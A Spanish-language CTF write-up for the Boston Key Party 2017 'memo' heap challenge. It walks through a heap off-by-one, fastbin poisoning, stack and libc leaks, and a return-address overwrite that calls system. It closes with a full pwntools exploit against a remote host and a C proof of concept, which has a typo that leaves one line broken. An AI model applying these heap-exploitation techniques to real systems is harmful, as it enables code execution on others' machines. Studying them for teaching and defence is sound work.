Memo es un reto de exploiting del Boston Key Party CTF 2017. La puntuación de este reto fue de 300 puntos.

El reto se desenvuelve en el manejo del heap, el típico programa que hace un CRUD (Create – Read – Update – Delete). Por lo que tenemos una oportunidad de manejarlo con radare2, con el plugin qua hice junto a mi team mate @n4x0r.

Veamos con checksec.sh que protecciones tiene el binario. Lleva Full RELRO por lo que escribir en la .got no nos vale :( no tiene canary pero perfectamente lo podía haber tenido. Atacaremos el stack. ¿Cómo? Con una lista enlazada de fastbins preparada a nuestro antojo conseguiremos que nos devuelva un puntero al .data que con ese control sobre escribiremos de nuevo en .data (un ptr develto por malloc) para que, sobre escrito apunte al stack (al retorno) que servirá para sobre escribir con un pop rdi ; ret – para finalizar llamando a system.

Echamos un primer vistazo al binario con radare2, sus funciones y encontramos:

noname@ubuntu:~/Escritorio$ r2 -d -AA ./memo
...
[0x0040113b]> f~main
0x0040113e 98 main
[0x0040113b]> f~fcn
0x00400996 67 fcn.00400996
0x00400bc1 67 fcn.00400bc1
0x00400c04 78 fcn.00400c04
0x004008d0 50 fcn.004008d0
0x004009d9 17 fcn.004009d9
0x004009ea 349 fcn.004009ea
0x00400f55 161 fcn.00400f55
0x00400c52 342 fcn.00400c52
0x00400da8 174 fcn.00400da8
0x00400e56 121 fcn.00400e56
0x00400ecf 134 fcn.00400ecf
0x00400ff6 328 fcn.00400ff6

Donde fcn.400C52 es leave message, fcn.400DA8 es edit, fcn.400E56 es view, fcn.400ECF es delete y fcn.400FF6 es change.

Pongamos un bp en leave message y veamos, al principio nos pide un username, importante esta parte también porque nos hará pisar el size del chunk obtenido con la llamada a malloc (por un off-by-one) que nos permitirá el heap overflow.

[0x0040113b]> db 0x400C52
[0x0040113b]> dc
Selecting and continuing: 11494
What's user name: soez
Do you wanna set password? (y/n) y
Password must be set to 32 digits or less.
Password: AAAA
Done! have a good day soez
1. Leave message on memo
2. Edit message last memo
3. View memo
4. Delete memo
5. Change password
6. Quit.
>> 1
hit breakpoint at: 400c52

Previamente he quitado el aslr para ver todo de forma más comoda, a la hora de lanzar el exploit, lo volveremos a setear. Con el comando y como root tecleamos:

root@ubuntu:/home/noname/Escritorio# echo 0 > /proc/sys/kernel/randomize_va_space

En 0x602a00 se guardará el número de chunks que solo nos permitirá 5 (suficientes). En 0x602a60 se guardará el size de la ultima petición a malloc, que este también solo nos permitirá un tamaño de 0x20 o menor. Ya en 0x602a70 se guardarán los ptr de las peticiones a malloc.

Comenzamos por pedir dos chunks, primero borraremos el segundo chunk y después el primero para poder sobre escribir el segundo con el overflow del primero. Para poder hacer el overflow habrá que crear de nuevo el primer chunk. Ponemos el binario a la escucha:

Y vemos la memoria:

Podemos ver como tenemos en 0x602a00 un 1, igual a que hemos solicitado dos chunks (el 0 y el 1), en 0x602a60 el size de cada uno y en 0x602a70 los dos ptr al data de cada chunk.

Podéis ver también que pisando el top (0x20fa1) se podría realizar un house of force pero hay un check que si pides un chunk de mayor a 0x20 no te dejará crearlo, así tampoco será la vía. Ahora con el comando dmh vemos el allocated y el free, y con dmhf vemos la lista enlazada de los fastbin (chunks libres).


Ahora bien con el overflow sobre escribiremos el fd del fastbin liberado previamente para que al hacer una petición para quitarlo de la lista enlazada y dejarla vacía nos de un puntero donde queremos :)

Recordamos la estructura de un chunk.

Vemos a donde apunta su fd con el comando dmhc:

Ahora mismo no apunta a nada, vamos a ver que pasa si metemos un puntero a la sección .data, claro que, allí habrá que preparar un falso chunk para que no nos de lista enlazada corrupta. Antes que nada hay que hacer el overflow off-by-one para poder hacer overflow en el heap.

Siguiente paso, vemos memoria.

Vemos en 0x602a60 como el size ya está a 0xfc (se podría haber metido 0xff pero el binario también lo filtraba xD) y en 0x602a48 el size del falso chunk que la cabecera sería 0x602a40.

Vemos el overflow en el heap:

y con el comando dmhc:

Veamos la lista enlazada de los fastbin con dmhf

El siguiente chunk que pidamos nos devolverá 0x603030, pero el siguiente ya que pidamos nos devolverá un ptr a 0x602a40. Pidamos el primero y vemos la lista de los fastbin de nuevo:

Ahí está solitario el chunk libre esperando a ser allocado. Hacemos malloc de nuevo y vemos la memoria:

Tenemos en 0x602a80 un ptr a 0x30 menos (0x602a50) que podremos sobre escribir todo de nuevo. Necesitamos leak del stack por lo pondremos como primer ptr en vez de 0x603010 un 0x602a98 y cuando hagamos un view en el binario nos soltará la dir del stack que vemos ahí. Después haremos la misma jugada, pondremos la dir del stack ya filtrada en vez de 0x602a50 en la posición 0x602a80 para hacer leak de la libc y además sobre escribir el retorno para finalmente llamar a system.

Siguiente paso como deciamos. (No hagais caso a lo que hay ya en 0x602a70 y 0x602a78 si no en 0x602a80)

Finalmente sobreescribir el ret y shell :) pongamos de nuevo el aslr recordad y con LD_PRLOAD precargamos la libc que nos proporcionaba el reto.

El reto está offline por lo que no puedo enseñar su shell, pero si localmente.


Flag: bkp{you are a talented and ambitious hacker}

Dejo un PoC de lo que es el mismo ataque a los fastbin para que se pueda seguir con tranquilidad y no dejes de usar el plugin hecho por me @javierprtd y @n4x0r!! para cualquier consulta del plugin en radare2 → dmh?

Exploit:

from pwn import *

r = remote("54.202.7.144", 8888)

def menu():
	r.recvuntil(">> ")

def create(pos, size, payload):
	menu()
	r.sendline("1")
	r.recvuntil("Index: ")
	r.sendline(str(pos))
	r.recvuntil("Length: ")
	r.sendline(str(size))
	r.recvuntil("Message: ")
	r.sendline(payload)

def edit(payload):
	menu()
	r.sendline("2")
	r.recvuntil("Edit message: ")
	r.sendline(payload)
	r.recvuntil("edited! this is edited message!\n")
	data = r.recvline()
	return data

def view(num):
	menu()
	r.sendline("3")
	r.recvuntil("Index: ")
	r.sendline(str(num))
	r.recvuntil("View Message: ")
	data = r.recvline()
	return data

def delete(num):
	menu()
	r.sendline("4")
	r.recvuntil("Index: ")
	r.sendline(str(num))
	r.recvuntil("Deleted!")

def change(pwd, payload):
	menu()
	r.sendline("5")
	r.recvuntil("Password: ")
	r.sendline(pwd)
	r.recvuntil("New user name: ")
	r.sendline("soez")
	r.recvuntil("New password: ")
	r.sendline(payload)
	r.recvline()

def quit():

	menu()
	r.sendline("6")
	r.recvuntil("good bye\n")

r.recvuntil("What's user name: ")
r.sendline("soez")
r.recvuntil("Do you wanna set password? (y/n) ")
r.sendline("y")
r.recvuntil("Password must be set to 32 digits or less.\n")
r.recvuntil("Password: ")
r.sendline("AAAA")
r.recvuntil("Done! have a good day soez") 

create(0, 0x20, "")
create(1, 0x20, "")
delete(1)
delete(0)
create(0, 0x20, "")
p_heap = u64(edit("")[:-1].ljust(8, '\0'))
print "[+] heap 0x%x" % p_heap
change("AAAA", p64(0) + p64(0x31) + p64(0)*2 + "\xfc")
edit(p64(0)*5 + p64(0x31) + p64(0x602a40))
create(1, 0x20, "")
create(2, 0x20, "")
edit(p64(0)*2 + p64(0xfc)*2)
edit(p64(0)*2 + p64(0xfc)*2 + p64(0x602a98) + p64(0x603010) + p64(0x602a50))
p_stack = u64(view(0)[:-1].ljust(8, '\0'))
p_ret = p_stack + 0x58 
print "[+] stack 0x%x" % p_stack
print "[+] ret 0x%x" % p_ret
edit(p64(0)*2 + p64(0xfc)*2 + p64(0x603010) + p64(0x603040) + p64(p_ret))
p_libc = u64(view(2)[:-1].ljust(8, '\0'))
base_libc = p_libc - 0x20830
p_bin_sh = base_libc + 0x18c58b
p_system = base_libc + 0x45380
print "[+] base_libc 0x%x" % base_libc
print "[+] p_bin_sh 0x%x" % p_bin_sh
print "[+] p_system 0x%x" % p_system
edit(p64(0x401263) + p64(p_bin_sh) + p64(p_system)) 
quit()
r.interactive()

PoC:

#include <stdio.h>
#include <stdlib.h>

long *p_target;

int main() {
	long *p1 = malloc(0x20);
	long *p2 = malloc(0x20);

	free(p2);

	*((long *) &p_target - 1) = 0x31;

	*(p1 + 5) = 0x31;
	*(p1 + 6) = &p_target  2;

	long *p3 = malloc(0x20);
	long *p4 = malloc(0x20);
	
	printf("p_target = %p\n", &p_target);
	printf("p4 = %p\n", p4);

	return 0;
}

Espero que haya gustado y un saludo a mis team mates!!

@amn3s1a_team